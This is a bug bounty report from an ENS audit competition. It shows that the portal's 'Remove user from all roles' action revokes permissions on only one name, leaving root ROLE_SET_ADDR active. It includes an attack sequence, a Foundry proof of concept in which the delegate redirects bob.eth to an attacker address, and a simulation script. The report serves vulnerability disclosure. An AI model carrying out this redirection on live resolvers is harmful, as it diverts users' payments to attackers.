92464 w a critical resolver role aggregation causes remove user from all roles to revoke only one resource leaving the delegate able to redirect ens addresses
Submitted on Sep 10th 2026 at 01:32:27 UTC by @kimnoic for Audit Competition | ENS
- Report ID: #92464
- Report Type: Websites & Apps
- Report severity: Critical
- Target: https://github.com/immunefi-team/audit-comp-ens/tree/audit-comp-ready/apps/portal
- Impacts:
- Causing the application to display or pre-fill an incorrect address, name, or transaction detail, so that a user sends funds or submits a transaction to an unintended recipient, such as: - resolving or rendering an ENS name to an attacker-controlled address - showing the wrong recipient or amount on a transaction the user then approves
Description
Brief/Intro
The Resolver roles UI merges one account's permissions across the resolver root and multiple ENS-name resources into a single row, but its removal flow selects only one non-root name and sends the entire displayed role union to that one name-scoped revocation. Consequently, a user can approve a successful transaction after being told that the delegate will be removed “from all roles,” while root or other-name permissions remain active. A surviving ROLE_SET_ADDR lets the supposedly removed delegate redirect ENS address records to an attacker-controlled address, potentially causing payments made through the affected ENS names to be stolen.
Vulnerability Details
Affected components
apps/portal/src/lib/roles/resolverRoles.ts:179-220apps/portal/src/lib/roles/resolverRoles.test.ts:185-197apps/portal/src/features/resolver/components/ResolverRolesTable.tsx:102-105apps/portal/src/features/resolver/components/ResolverRolesSidebar.tsx:165-173apps/portal/src/features/resolver/components/ResolverRolesSidebar.tsx:295-323apps/portal/src/features/resolver/components/ResolverRolesSidebar.tsx:391-396apps/portal/src/features/resolver/components/ResolverRolesSidebar.tsx:441-463apps/portal/src/features/resolver/helpers/revokeResolverRoles.ts:45-60apps/portal/src/features/resolver/helpers/prepareResolverRolesIntent.ts:38-46apps/portal/src/features/resolver/components/ResolverAddUserSheet.tsx:37-39, 186-205, 248-289
Root cause: resource identity is destroyed during grouping
The resolver overview query returns all role records for the selected PermissionedResolver. Each role record contains an account, a resource, and a roleBitmap. These fields describe separate EAC assignments: the same account may hold different permissions at the resolver root, on alice.eth, and on bob.eth.
However, groupRolesByAccount() uses only the lowercased account as its grouping key:
for (const role of roles) {
const account = role.account.toLowerCase()
const resource = role.resource.toLowerCase()
const decoded = decodeResolverRoleBitmap(role.roleBitmap)
const resolvedName = resourceToName?.get(resource) ?? null
const existing = grouped.get(account)
if (existing) {
existing.roles.push(role)
existing.decodedRoles.push(...decoded)
if (resolvedName) existing.resolvedNames.add(resolvedName)
}
// ...
}
As a result, decodedRoles becomes the union of permissions held on independent resources. Although the raw role entries remain in roles, the editing code does not use their individual resources. The frozen unit test explicitly requires this unsafe behavior:
it('should merge the same account across resources', () => {
const roles = [
makeRole('0xABC', resolverRoles.ROLE_SET_ADDR),
makeRole('0xABC', resolverRoles.ROLE_SET_TEXT, resourceB),
]
const result = groupRolesByAccount(roles)
expect(result).toHaveLength(1)
expect(result[0].decodedRoles).toEqual([
'ROLE_SET_ADDR',
'ROLE_SET_TEXT',
])
})
ResolverRolesTable passes these account-only groups directly into the editable sidebar:
const data = useMemo(
() => groupRolesByAccount(roles, buildResourceToNameMap(nodes)),
[roles, nodes],
)
One arbitrary name is substituted for every resource in the group
The sidebar receives the flattened role union and the list of all resolved names. It does not retain or select an authoritative resource. Instead, it chooses the first non-root name, falling back to the root only when no non-root name exists:
const decodedRoles = (row?.original.decodedRoles ?? []) as ResolverRoleKey[]
const resolvedNames = row?.original.resolvedNames ?? []
const roleName = resolvedNames.find((n) => n !== '(root)') ?? ''
Therefore:
(root) + alice.ethalways becomesalice.eth;alice.eth + bob.ethbecomes only whichever name appears first;(root) + alice.eth + bob.ethalso becomes one name only.
The UI simultaneously describes a root-containing group as global:
{resolvedNames.includes('(root)')
? 'Global roles (all names)'
: `Roles scoped to ${resolvedNames
.filter((n) => n !== '(root)')
.join(', ')}`}
When the user clicks Remove user, the code combines the single selected name with the cross-resource role union:
setPendingAction({
type: 'remove',
name: roleName,
account: selectedAccount,
roles: decodedRoles,
})
The confirmation dialog makes an unambiguous security promise:
Are you sure you want to remove this user from all roles?
The generated transaction can revoke only one resource
prepareRevokeResolverRolesTransaction() selects the root operation only when name is the empty string. Every non-empty name is encoded as exactly one name-scoped operation:
const writeParams = revokeResolverRolesWriteParameters(
walletClient,
name === ''
? {
resolverAddress,
targetAccount: account,
scope: 'root',
roles,
}
: {
resolverAddress,
targetAccount: account,
scope: 'name',
name,
roles,
},
)
For name scope, ENSJS encodes:
authorizeNameRoles(encodedName, roleBitmap, targetAccount, false)
For root scope, it encodes the independent operation:
revokeRootRoles(roleBitmap, targetAccount)
Because the sidebar chooses a non-root roleName whenever one exists, a root role in the same UI row is never targeted. Likewise, if two names are merged, only one name's resource is targeted.
The transaction is valid and can succeed. It simply performs less authorization revocation than the UI represents. Query invalidation after success does not repair the residual permission and does not make the operation atomic; it may merely reveal the surviving role after the attacker has retained the ability to act.
The vulnerable role state is reachable through the application itself
This does not require a malformed indexer response or an unusual direct contract call. ResolverAddUserSheet supports both:
Root (all nodes)
alice.eth
bob.eth
...
An administrator can therefore grant the same delegate a root permission and a separate name-scoped permission using normal Portal operations. The role page then merges those records by account.
Why the surviving permission remains exploitable
ENSv2 EnhancedAccessControl treats resource 0 as ROOT_RESOURCE. Roles assigned at root level automatically apply to every resource, and permission checks combine the roles held on the specific resource with root-level roles.
The raw PermissionedResolver protects setAddr() with ROLE_SET_ADDR:
function setAddr(bytes32 node, uint256 coinType, bytes memory addressBytes)
public
onlyPartRoles(
node,
PermissionedResolverLib.partHash(coinType),
PermissionedResolverLib.ROLE_SET_ADDR
)
{
_record(node).addresses[coinType] = addressBytes;
emit AddressChanged(node, coinType, addressBytes);
}
Accordingly, if root ROLE_SET_ADDR survives the misleading removal, the delegate can still modify address records for every node served by that resolver. In the multi-name variant, a name-scoped ROLE_SET_ADDR surviving on bob.eth lets the delegate redirect bob.eth specifically.
Attack sequence
- The victim administers a
PermissionedResolverused byalice.ethandbob.eth. - Through the normal Add User form, the victim grants a delegate root
ROLE_SET_ADDRandalice.eth-scopedROLE_SET_TEXT. - The delegate later becomes malicious, is compromised, or is no longer trusted.
- The victim opens
/resolver/<resolver>/roles. The Portal shows one row for the delegate containing(root)andalice.eth, the union of the two permissions, and the labelGlobal roles (all names). - The victim clicks
Remove userand approves the transaction after being told that the user will be removed from all roles. - The Portal chooses
alice.ethand submitsauthorizeNameRoles(alice.eth, ROLE_SET_ADDR | ROLE_SET_TEXT, delegate, false). - The transaction succeeds on the
alice.ethresource. It never callsrevokeRootRoles, so rootROLE_SET_ADDRsurvives. - The supposedly removed delegate calls
setAddr(namehash("bob.eth"), attackerAddress). bob.ethresolves to the attacker's address. Subsequent payments relying on that ENS resolution can be transferred to the attacker.
Impact Details
Selected in-scope impact
Causing the application to display or pre-fill an incorrect address, name, or transaction detail, so that a user sends funds or submits a transaction to an unintended recipient, such as resolving or rendering an ENS name to an attacker-controlled address or showing the wrong recipient or amount on a transaction the user then approves.
This is the most direct impact classification because the application presents an all-resource authorization removal but pre-fills and submits a transaction containing only one name/scope. The victim signs a transaction whose effective resolver resource differs from the action represented by the application.
Security consequences
- Authorization survives a successful security operation. The delegate remains authorized even though the Portal reports completion of “Remove user from all roles.”
- ENS address redirection. A surviving
ROLE_SET_ADDRpermits the delegate to replace the ETH or other supported address record with an attacker-controlled destination. - Potential direct loss of funds. Users, wallets, exchanges, DAOs, or integrations that subsequently resolve and pay the affected ENS name can send funds to the attacker. The maximum loss is not bounded by the cost of exploiting the bug; it depends on the value of later transactions relying on the poisoned name.
- Cross-name blast radius for root permissions. A surviving root role applies to every name served by the
PermissionedResolver, so one failed revocation can expose multiple names and all future payments relying on them. - Other record compromise. Depending on the surviving bitmap, the delegate may also retain the ability to modify text, contenthash, ABI, interface, name, alias, clear, or upgrade-related state.
The primary selected impact should not be static-content injection, HCA/session takeover, or a Manager registration/migration/transfer hijack. The bug requires the victim to approve the misleading revocation transaction, and it occurs in Resolver role management. “Direct theft of user funds” is a downstream consequence, but the incorrect-name/transaction-detail category describes the immediate application failure most precisely.
References
- ENSJS
revokeResolverRolestransaction builders - ENSv2 EnhancedAccessControl documentation
- Raw
PermissionedResolver.sol - Official raw-contract Foundry fixture
Proof of Concept
Proof of Concept
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.13;
import {Test} from "forge-std/Test.sol";
import {VerifiableFactory} from "@ensdomains/verifiable-factory/VerifiableFactory.sol";
import {NameCoder} from "@ens/contracts/utils/NameCoder.sol";
import {EACBaseRolesLib} from "~src/access-control/libraries/EACBaseRolesLib.sol";
import {PermissionedResolverLib} from "~src/resolver/libraries/PermissionedResolverLib.sol";
import {PermissionedResolver} from "~src/resolver/PermissionedResolver.sol";
contract ResolverRoleScopeConfusionPoC is Test {
uint256 internal constant DEFAULT_ROLES = EACBaseRolesLib.ALL_ROLES;
VerifiableFactory internal factory;
PermissionedResolver internal implementation;
PermissionedResolver internal resolver;
address internal owner = makeAddr("owner");
address internal delegate = makeAddr("delegate");
address internal attacker = makeAddr("attacker");
bytes internal aliceName;
bytes internal bobName;
bytes32 internal aliceNode;
bytes32 internal bobNode;
function setUp() external {
factory = new VerifiableFactory();
implementation = new PermissionedResolver(address(this));
aliceName = NameCoder.encode("alice.eth");
bobName = NameCoder.encode("bob.eth");
aliceNode = NameCoder.namehash(aliceName, 0);
bobNode = NameCoder.namehash(bobName, 0);
bytes memory initData = abi.encodeCall(
PermissionedResolver.initialize,
(owner, DEFAULT_ROLES, new bytes[](0))
);
resolver = PermissionedResolver(
factory.deployProxy(
address(implementation),
uint256(keccak256(initData)),
initData
)
);
}
function test_RemoveAllRolesOnlyRevokesOneNameAndLeavesGlobalAddressControl()
external
{
// Normal application-created state: the same account has one root role
// and one alice.eth-scoped role.
vm.prank(owner);
resolver.grantRootRoles(
PermissionedResolverLib.ROLE_SET_ADDR,
delegate
);
vm.prank(owner);
resolver.authorizeNameRoles(
aliceName,
PermissionedResolverLib.ROLE_SET_TEXT,
delegate,
true
);
uint256 aliceResource = PermissionedResolverLib.resource(
aliceNode,
bytes32(0)
);
assertTrue(
resolver.hasRootRoles(
PermissionedResolverLib.ROLE_SET_ADDR,
delegate
)
);
assertTrue(
resolver.hasRoles(
aliceResource,
PermissionedResolverLib.ROLE_SET_TEXT,
delegate
)
);
// Exact vulnerable frontend transaction: the displayed cross-resource
// union is revoked only from the first non-root name, alice.eth.
uint256 displayedRoleUnion =
PermissionedResolverLib.ROLE_SET_ADDR |
PermissionedResolverLib.ROLE_SET_TEXT;
vm.prank(owner);
bool updated = resolver.authorizeNameRoles(
aliceName,
displayedRoleUnion,
delegate,
false
);
assertTrue(updated, "misleading removal transaction must succeed");
assertFalse(
resolver.hasRoles(
aliceResource,
PermissionedResolverLib.ROLE_SET_TEXT,
delegate
)
);
// The root resource was never targeted, so global SET_ADDR survives.
assertTrue(
resolver.hasRootRoles(
PermissionedResolverLib.ROLE_SET_ADDR,
delegate
),
"BUG: root SET_ADDR survives Remove user from all roles"
);
// The supposedly removed delegate redirects another name.
vm.prank(delegate);
resolver.setAddr(bobNode, attacker);
assertEq(
address(resolver.addr(bobNode)),
attacker,
"delegate retains global address-record control"
);
}
}
And
import assert from 'node:assert/strict'
import { readFileSync } from 'node:fs'
import { join, resolve } from 'node:path'
const repo = resolve(process.argv[2] ?? process.cwd())
const paths = {
roles: 'apps/portal/src/lib/roles/resolverRoles.ts',
sidebar:
'apps/portal/src/features/resolver/components/ResolverRolesSidebar.tsx',
revoke:
'apps/portal/src/features/resolver/helpers/revokeResolverRoles.ts',
test: 'apps/portal/src/lib/roles/resolverRoles.test.ts',
}
const source = Object.fromEntries(
Object.entries(paths).map(([key, relativePath]) => [
key,
readFileSync(join(repo, relativePath), 'utf8'),
]),
)
const sourceChecks = [
[
'groups by account only',
source.roles.includes('const existing = grouped.get(account)'),
],
[
'flattens roles from every resource',
source.roles.includes('existing.decodedRoles.push(...decoded)'),
],
[
'selects one non-root name for the whole group',
source.sidebar.includes(
"resolvedNames.find((n) => n !== '(root)') ?? ''",
),
],
[
'Remove user forwards the flattened role union',
/type:\s*'remove'[\s\S]*?name:\s*roleName[\s\S]*?roles:\s*decodedRoles/.test(
source.sidebar,
),
],
[
'dialog promises removal from all roles',
source.sidebar.includes('remove this user from all roles'),
],
[
'empty name becomes root scope',
/name\s*===\s*''[\s\S]*?scope:\s*'root'/.test(source.revoke),
],
[
'non-empty name becomes exactly one name scope',
/scope:\s*'name'[\s\S]*?name,[\s\S]*?roles:/.test(source.revoke),
],
[
'the frozen unit test intentionally merges across resources',
source.test.includes('should merge the same account across resources'),
],
]
for (const [description, ok] of sourceChecks) {
assert.equal(ok, true, `Frozen-source check failed: ${description}`)
}
const ROOT_RESOURCE = `0x${'00'.repeat(32)}`
const ALICE_RESOURCE = `0x${'11'.repeat(32)}`
const BOB_RESOURCE = `0x${'22'.repeat(32)}`
const delegate = '0xdeadbeefdeadbeefdeadbeefdeadbeefdeadbeef'
const ROLE_SET_ADDR = 'ROLE_SET_ADDR'
const ROLE_SET_TEXT = 'ROLE_SET_TEXT'
// This is the security-relevant behavior of groupRolesByAccount(): its map key
// is account only, while the resource remains buried in the raw roles array.
function vulnerableGroupRolesByAccount(roles, resourceToName) {
const grouped = new Map()
for (const role of roles) {
const account = role.account.toLowerCase()
const resolvedName = resourceToName.get(role.resource.toLowerCase()) ?? null
const existing = grouped.get(account)
if (existing) {
existing.roles.push(role)
existing.decodedRoles.push(...role.decodedRoles)
if (resolvedName) existing.resolvedNames.add(resolvedName)
} else {
grouped.set(account, {
account,
resolvedNames: new Set(resolvedName ? [resolvedName] : []),
roles: [role],
decodedRoles: [...role.decodedRoles],
})
}
}
return [...grouped.values()].map((group) => ({
...group,
resolvedNames: [...group.resolvedNames],
}))
}
function vulnerableRemoveAction(group) {
const roleName = group.resolvedNames.find((name) => name !== '(root)') ?? ''
return {
type: 'remove',
name: roleName,
account: group.account,
roles: group.decodedRoles,
}
}
function revokeAtOneScope(roleState, action, resourceByName) {
const selectedResource =
action.name === '' ? ROOT_RESOURCE : resourceByName.get(action.name)
return roleState
.map((entry) => {
if (
entry.account.toLowerCase() !== action.account.toLowerCase() ||
entry.resource.toLowerCase() !== selectedResource.toLowerCase()
) {
return entry
}
return {
...entry,
decodedRoles: entry.decodedRoles.filter(
(role) => !action.roles.includes(role),
),
}
})
.filter((entry) => entry.decodedRoles.length > 0)
}
// The app itself can create this state: Add user supports both “Root (all
// nodes)” and a specific name. One delegate therefore has roles on three
// independent resources of the same PermissionedResolver.
const before = [
{
account: delegate,
resource: ROOT_RESOURCE,
decodedRoles: [ROLE_SET_ADDR],
},
{
account: delegate,
resource: ALICE_RESOURCE,
decodedRoles: [ROLE_SET_TEXT],
},
{
account: delegate,
resource: BOB_RESOURCE,
decodedRoles: [ROLE_SET_ADDR],
},
]
const resourceToName = new Map([
[ROOT_RESOURCE, '(root)'],
[ALICE_RESOURCE, 'alice.eth'],
[BOB_RESOURCE, 'bob.eth'],
])
const resourceByName = new Map([
['alice.eth', ALICE_RESOURCE],
['bob.eth', BOB_RESOURCE],
])
const [uiRow] = vulnerableGroupRolesByAccount(before, resourceToName)
const action = vulnerableRemoveAction(uiRow)
const after = revokeAtOneScope(before, action, resourceByName)
assert.deepEqual(uiRow.resolvedNames, ['(root)', 'alice.eth', 'bob.eth'])
assert.deepEqual(uiRow.decodedRoles, [
ROLE_SET_ADDR,
ROLE_SET_TEXT,
ROLE_SET_ADDR,
])
assert.equal(action.name, 'alice.eth')
const retainedRootAddr = after.some(
(entry) =>
entry.resource === ROOT_RESOURCE &&
entry.account.toLowerCase() === delegate &&
entry.decodedRoles.includes(ROLE_SET_ADDR),
)
const retainedBobAddr = after.some(
(entry) =>
entry.resource === BOB_RESOURCE &&
entry.account.toLowerCase() === delegate &&
entry.decodedRoles.includes(ROLE_SET_ADDR),
)
assert.equal(retainedRootAddr, true)
assert.equal(retainedBobAddr, true)
// ENS EnhancedAccessControl combines root and resource roles. A retained root
// ROLE_SET_ADDR therefore authorizes setAddr on every resolver node.
const delegateCanSetAddrForAnyName = retainedRootAddr
assert.equal(delegateCanSetAddrForAnyName, true)
console.log('Frozen-source checks: PASS')
console.log('Displayed names:', uiRow.resolvedNames.join(', '))
console.log('Displayed role union:', uiRow.decodedRoles.join(', '))
console.log('Dialog promise: remove this user from all roles')
console.log('Transaction scope actually selected:', action.name)
console.log('Retained root ROLE_SET_ADDR:', retainedRootAddr)
console.log('Retained bob.eth ROLE_SET_ADDR:', retainedBobAddr)
console.log('Delegate can still redirect address records globally:', true)
console.log('ENS-APP-CRIT-01 reproduced: PASS')